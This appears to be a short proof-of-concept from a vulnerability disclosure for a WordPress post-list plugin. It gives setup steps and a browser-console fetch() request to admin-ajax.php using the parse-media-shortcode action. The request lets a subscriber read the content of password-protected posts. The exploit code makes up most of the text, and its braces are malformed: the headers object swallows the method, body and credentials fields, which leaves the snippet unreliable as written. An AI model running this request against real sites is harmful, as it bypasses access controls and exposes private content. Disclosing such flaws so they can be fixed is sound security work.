Setup: Create a default Post list, and create a password protected post with secret content

Then, run the below command in the developer console of the web browser while being on the blog as a subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[postlist listId='1']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display the content of the password protected post